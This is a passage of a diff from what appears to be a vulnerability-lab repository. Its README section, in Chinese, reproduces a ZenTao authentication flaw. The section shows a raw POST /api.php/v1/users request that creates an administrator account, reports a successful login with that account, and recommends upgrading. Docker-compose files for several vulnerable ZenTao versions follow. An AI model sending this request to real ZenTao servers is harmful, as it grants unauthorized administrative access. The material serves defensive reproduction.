Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Cookie: zentaosid=bdfda9cd81c43017703931d473ccca98;
|
||||
Content-Length: 11
|
||||
```
|
||||
|
||||

|
||||
|
||||
通过该漏洞添加用户:
|
||||
|
||||
```
|
||||
POST /api.php/v1/users HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Cookie: zentaosid=93441fc0301811a03ad2285ae52e9591;
|
||||
Content-Length: 11
|
||||
|
||||
{
|
||||
"account":"threeki",
|
||||
"password":"thr33..",
|
||||
"realname":"threeki",
|
||||
"role":"top",
|
||||
"group":"1"
|
||||
}
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
使用添加的账号 `threeki/thr33..` 成功登录:
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
升级至最新版本 https://www.zentao.net/
|
9
base/zentao/16.5/docker-compose.yml
Normal file
@ -0,0 +1,9 @@
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:16.5
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|
9
base/zentao/18.0.beta1/docker-compose.yml
Normal file
@ -0,0 +1,9 @@
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:18.0.beta1
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|
9
base/zentao/18.0/docker-compose.yml
Normal file
@ -0,0 +1,9 @@
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:18.0
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|
9
base/zentao/18.5/docker-compose.yml
Normal file
@ -0,0 +1,9 @@
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:18.5
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|